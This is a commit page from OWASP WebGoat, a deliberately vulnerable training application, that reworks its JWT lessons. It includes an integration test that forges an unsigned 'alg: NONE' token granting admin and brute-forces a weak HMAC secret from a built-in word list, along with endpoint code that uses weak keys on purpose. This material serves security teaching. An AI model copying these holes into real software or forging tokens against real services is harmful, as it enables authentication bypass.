Skip to content

Commit

Permalink
fixed and improved first two jwt challenges
Browse files Browse the repository at this point in the history
  • Loading branch information
zubcevic authored and nbaars committed Sep 17, 2019
1 parent fb2e11f commit 57e6a84
Show file tree
Hide file tree
Showing 7 changed files with 191 additions and 18 deletions.
Original file line number Diff line number Diff line change
@@ -0,0 +1,140 @@
package org.owasp.webgoat;

import java.io.IOException;
import java.nio.charset.Charset;
import java.security.InvalidKeyException;
import java.security.NoSuchAlgorithmException;
import java.time.Instant;
import java.util.Base64;
import java.util.Calendar;
import java.util.Date;

import org.hamcrest.CoreMatchers;
import org.junit.Assert;
import org.junit.Before;
import org.junit.Test;
import org.owasp.webgoat.plugin.JWTSecretKeyEndpoint;

import com.fasterxml.jackson.databind.JsonNode;
import com.fasterxml.jackson.databind.ObjectMapper;
import com.fasterxml.jackson.databind.node.ObjectNode;

import io.jsonwebtoken.Jwt;
import io.jsonwebtoken.JwtException;
import io.jsonwebtoken.Jwts;
import io.jsonwebtoken.SignatureAlgorithm;
import io.jsonwebtoken.impl.TextCodec;
import io.restassured.RestAssured;

public class JWTLessonTest extends IntegrationTest {

@Before
public void initTest() {

}

@Test
public void solveAssignment() throws IOException, InvalidKeyException, NoSuchAlgorithmException {

startLesson("JWT");

resetVotes();

findPassword();

// checkResults("/JWT/");

}

private String generateToken(String key) {

return Jwts.builder()
.setIssuer("WebGoat Token Builder")
.setAudience("webgoat.org")
.setIssuedAt(Calendar.getInstance().getTime())
.setExpiration(Date.from(Instant.now().plusSeconds(60)))
.setSubject("[email protected]")
.claim("username", "WebGoat")
.claim("Email", "[email protected]")
.claim("Role", new String[] {"Manager", "Project Administrator"})
.signWith(SignatureAlgorithm.HS256, key).compact();
}

private String getSecretToken(String token) {
for (String key : JWTSecretKeyEndpoint.SECRETS) {
try {
Jwt jwt = Jwts.parser().setSigningKey(TextCodec.BASE64.encode(key)).parse(token);
} catch (JwtException e) {
continue;
}
return TextCodec.BASE64.encode(key);
}
return null;
}

private void findPassword() throws IOException, NoSuchAlgorithmException, InvalidKeyException {

String accessToken = RestAssured.given()
.when()
.config(restConfig)
.cookie("JSESSIONID", getWebGoatCookie())
.get(url("/WebGoat/JWT/secret/gettoken"))
.then()
.extract().response().asString();

String secret = getSecretToken(accessToken);

Assert.assertThat(
RestAssured.given()
.when()
.config(restConfig)
.cookie("JSESSIONID", getWebGoatCookie())
.formParam("token", generateToken(secret))
.post(url("/WebGoat/JWT/secret"))
.then()
.log().all()
.statusCode(200)
.extract().path("lessonCompleted"), CoreMatchers.is(true));

}

private void resetVotes() throws IOException {
String accessToken = RestAssured.given()
.when()
.config(restConfig)
.cookie("JSESSIONID", getWebGoatCookie())
.get(url("/WebGoat/JWT/votings/login?user=Tom"))
.then()
.extract().cookie("access_token");

String header = accessToken.substring(0, accessToken.indexOf("."));
header = new String(Base64.getUrlDecoder().decode(header.getBytes(Charset.defaultCharset())));

String body = accessToken.substring(1+accessToken.indexOf("."), accessToken.lastIndexOf("."));
body = new String(Base64.getUrlDecoder().decode(body.getBytes(Charset.defaultCharset())));

ObjectMapper mapper = new ObjectMapper();
JsonNode headerNode = mapper.readTree(header);
headerNode = ((ObjectNode) headerNode).put("alg","NONE");

JsonNode bodyObject = mapper.readTree(body);
bodyObject = ((ObjectNode) bodyObject).put("admin","true");

String replacedToken = new String(Base64.getUrlEncoder().encode(headerNode.toString().getBytes()))
.concat(".")
.concat(new String(Base64.getUrlEncoder().encode(bodyObject.toString().getBytes())).toString())
.concat(".").replace("=", "");

Assert.assertThat(
RestAssured.given()
.when()
.config(restConfig)
.cookie("JSESSIONID", getWebGoatCookie())
.cookie("access_token", replacedToken)
.post(url("/WebGoat/JWT/votings"))
.then()
.statusCode(200)
.extract().path("lessonCompleted"), CoreMatchers.is(true));
}

}
Original file line number Diff line number Diff line change
Expand Up @@ -6,15 +6,23 @@
import org.owasp.webgoat.assignments.AssignmentHints;
import org.owasp.webgoat.assignments.AssignmentPath;
import org.owasp.webgoat.assignments.AttackResult;
import org.springframework.http.MediaType;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;

import io.jsonwebtoken.Claims;
import io.jsonwebtoken.Jwt;
import io.jsonwebtoken.Jwts;
import io.jsonwebtoken.SignatureAlgorithm;

import org.springframework.web.bind.annotation.ResponseBody;

import java.time.Instant;
import java.util.Calendar;
import java.util.Date;
import java.util.List;
import java.util.Random;

/**
* @author nbaars
Expand All @@ -24,10 +32,26 @@
@AssignmentHints({"jwt-secret-hint1", "jwt-secret-hint2", "jwt-secret-hint3"})
public class JWTSecretKeyEndpoint extends AssignmentEndpoint {

public static final String JWT_SECRET = TextCodec.BASE64.encode("victory");
public static final String[] SECRETS = {"victory","business","available", "shipping", "washington"};
public static final String JWT_SECRET = TextCodec.BASE64.encode(SECRETS[new Random().nextInt(SECRETS.length)]);
private static final String WEBGOAT_USER = "WebGoat";
private static final List<String> expectedClaims = Lists.newArrayList("iss", "iat", "exp", "aud", "sub", "username", "Email", "Role");


@RequestMapping(path="/gettoken",produces=MediaType.TEXT_HTML_VALUE)
@ResponseBody
public String getSecretToken() {
return Jwts.builder()
.setIssuer("WebGoat Token Builder")
.setAudience("webgoat.org")
.setIssuedAt(Calendar.getInstance().getTime())
.setExpiration(Date.from(Instant.now().plusSeconds(60)))
.setSubject("[email protected]")
.claim("username", "Tom")
.claim("Email", "[email protected]")
.claim("Role", new String[] {"Manager", "Project Administrator"})
.signWith(SignatureAlgorithm.HS256, JWT_SECRET).compact();
}

@PostMapping
@ResponseBody
public AttackResult login(@RequestParam String token) {
Expand All @@ -46,6 +70,7 @@ public AttackResult login(@RequestParam String token) {
}
}
} catch (Exception e) {
e.printStackTrace();
return trackProgress(failed().feedback("jwt-invalid-token").output(e.getMessage()).build());
}
}
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -38,13 +38,13 @@
@AssignmentPath("/JWT/votings")
@AssignmentHints({"jwt-change-token-hint1", "jwt-change-token-hint2", "jwt-change-token-hint3", "jwt-change-token-hint4", "jwt-change-token-hint5"})
public class JWTVotesEndpoint extends AssignmentEndpoint {

public static final String JWT_PASSWORD = TextCodec.BASE64.encode("victory");
private static String validUsers = "TomJerrySylvester";

private static int totalVotes = 38929;
private Map<String, Vote> votes = Maps.newHashMap();

@PostConstruct
public void initVotes() {
votes.put("Admin lost password", new Vote("Admin lost password",
Expand Down Expand Up @@ -109,7 +109,7 @@ public MappingJacksonValue getVotes(@CookieValue(value = "access_token", require
return value;
}

@PostMapping(value = "{title}")
@PostMapping(value = "/vote/{title}")
@ResponseBody
@ResponseStatus(HttpStatus.ACCEPTED)
public ResponseEntity<?> vote(@PathVariable String title, @CookieValue(value = "access_token", required = false) String accessToken) {
Expand All @@ -132,7 +132,7 @@ public ResponseEntity<?> vote(@PathVariable String title, @CookieValue(value = "
}
}

@PostMapping("reset")
@PostMapping
public @ResponseBody
AttackResult resetVotes(@CookieValue(value = "access_token", required = false) String accessToken) {
if (StringUtils.isEmpty(accessToken)) {
Expand Down
15 changes: 13 additions & 2 deletions webgoat-lessons/jwt/src/main/resources/html/JWT.html
Original file line number Diff line number Diff line change
@@ -1,7 +1,16 @@
<!DOCTYPE html>

<html xmlns:th="http://www.thymeleaf.org">

<header>
<script>
$(document).ready(
function(){
$("#secrettoken").load('/WebGoat/JWT/secret/gettoken');
}
);
</script>
</header>
<body>
<div class="lesson-page-wrapper">
<div class="adoc-content" th:replace="doc:JWT_plan.adoc"></div>
</div>
Expand All @@ -24,7 +33,7 @@
<form class="attack-form" accept-charset="UNKNOWN"
method="POST"
successCallback="jwtSigningCallback"
action="/WebGoat/JWT/votings/reset"
action="/WebGoat/JWT/votings"
enctype="application/json;charset=UTF-8">
<div class="container-fluid">

Expand Down Expand Up @@ -78,6 +87,7 @@ <h3>Vote for your favorite</h3>

<div class="lesson-page-wrapper">
<div class="adoc-content" th:replace="doc:JWT_weak_keys"></div>
<div id="secrettoken" ></div>

<div class="attack-container">
<div class="assignment-success"><i class="fa fa-2 fa-check hidden" aria-hidden="true"></i></div>
Expand Down Expand Up @@ -285,5 +295,6 @@ <h4 class="card-title">Tom</h4>
<div class="attack-output"></div>
</div>
</div>
</body>

</html>
2 changes: 1 addition & 1 deletion webgoat-lessons/jwt/src/main/resources/js/jwt-voting.js
Original file line number Diff line number Diff line change
Expand Up @@ -76,7 +76,7 @@ function vote(title) {
} else {
$.ajax({
type: 'POST',
url: 'JWT/votings/' + title
url: 'JWT/votings/vote/' + title
}).then(
function () {
getVotings();
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -6,8 +6,5 @@ dictionary attack is not feasible. Once you have a token you can start an offlin

=== Assignment

Given we have the following token try to find out secret key and submit a new key with the userId changed to WebGoat.
Given we have the following token try to find out secret key and submit a new key with the username changed to WebGoat.

```
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJpYXQiOjE1MjQyMTA5MDQsImV4cCI6MTYxODkwNTMwNCwiYXVkIjoid2ViZ29hdC5vcmciLCJzdWIiOiJ0b21Ad2ViZ29hdC5jb20iLCJ1c2VybmFtZSI6IlRvbSIsIkVtYWlsIjoidG9tQHdlYmdvYXQuY29tIiwiUm9sZSI6WyJNYW5hZ2VyIiwiUHJvamVjdCBBZG1pbmlzdHJhdG9yIl19.vPe-qQPOt78zK8wrbN1TjNJj3LeX9Qbch6oo23RUJgM
```
Original file line number Diff line number Diff line change
Expand Up @@ -48,7 +48,7 @@ public void solveAssignment() throws Exception {
String token = Jwts.builder().setClaims(claims).setHeaderParam("alg", "none").compact();

//Call the reset endpoint
mockMvc.perform(MockMvcRequestBuilders.post("/JWT/votings/reset")
mockMvc.perform(MockMvcRequestBuilders.post("/JWT/votings")
.contentType(MediaType.APPLICATION_JSON)
.cookie(new Cookie("access_token", token)))
.andExpect(status().isOk())
Expand All @@ -57,7 +57,7 @@ public void solveAssignment() throws Exception {

@Test
public void resetWithoutTokenShouldNotWork() throws Exception {
mockMvc.perform(MockMvcRequestBuilders.post("/JWT/votings/reset")
mockMvc.perform(MockMvcRequestBuilders.post("/JWT/votings")
.contentType(MediaType.APPLICATION_JSON))
.andExpect(status().isOk())
.andExpect(jsonPath("$.feedback", CoreMatchers.is(messages.getMessage("jwt-invalid-token"))));
Expand Down Expand Up @@ -128,7 +128,7 @@ public void tomShouldBeAbleToVote() throws Exception {
Object[] nodes = new ObjectMapper().readValue(result.getResponse().getContentAsString(), Object[].class);
int currentNumberOfVotes = (int) findNodeByTitle(nodes, "Admin lost password").get("numberOfVotes");

mockMvc.perform(MockMvcRequestBuilders.post("/JWT/votings/Admin lost password")
mockMvc.perform(MockMvcRequestBuilders.post("/JWT/votings/vote/Admin lost password")
.cookie(cookie))
.andExpect(status().isAccepted());
result = mockMvc.perform(MockMvcRequestBuilders.get("/JWT/votings")
Expand All @@ -151,7 +151,7 @@ private Map<String, Object> findNodeByTitle(Object[] nodes, String title) {

@Test
public void guestShouldNotBeAbleToVote() throws Exception {
mockMvc.perform(MockMvcRequestBuilders.post("/JWT/votings/Admin lost password")
mockMvc.perform(MockMvcRequestBuilders.post("/JWT/votings/vote/Admin lost password")
.cookie(new Cookie("access_token", "")))
.andExpect(status().isUnauthorized());
}
Expand All @@ -163,7 +163,7 @@ public void unknownUserWithValidTokenShouldNotBeAbleToVote() throws Exception {
claims.put("user", "Intruder");
String token = Jwts.builder().signWith(io.jsonwebtoken.SignatureAlgorithm.HS512, JWT_PASSWORD).setClaims(claims).compact();

mockMvc.perform(MockMvcRequestBuilders.post("/JWT/votings/Admin lost password")
mockMvc.perform(MockMvcRequestBuilders.post("/JWT/votings/vote/Admin lost password")
.cookie(new Cookie("access_token", token)))
.andExpect(status().isUnauthorized());
}
Expand Down

0 comments on commit 57e6a84

Please sign in to comment.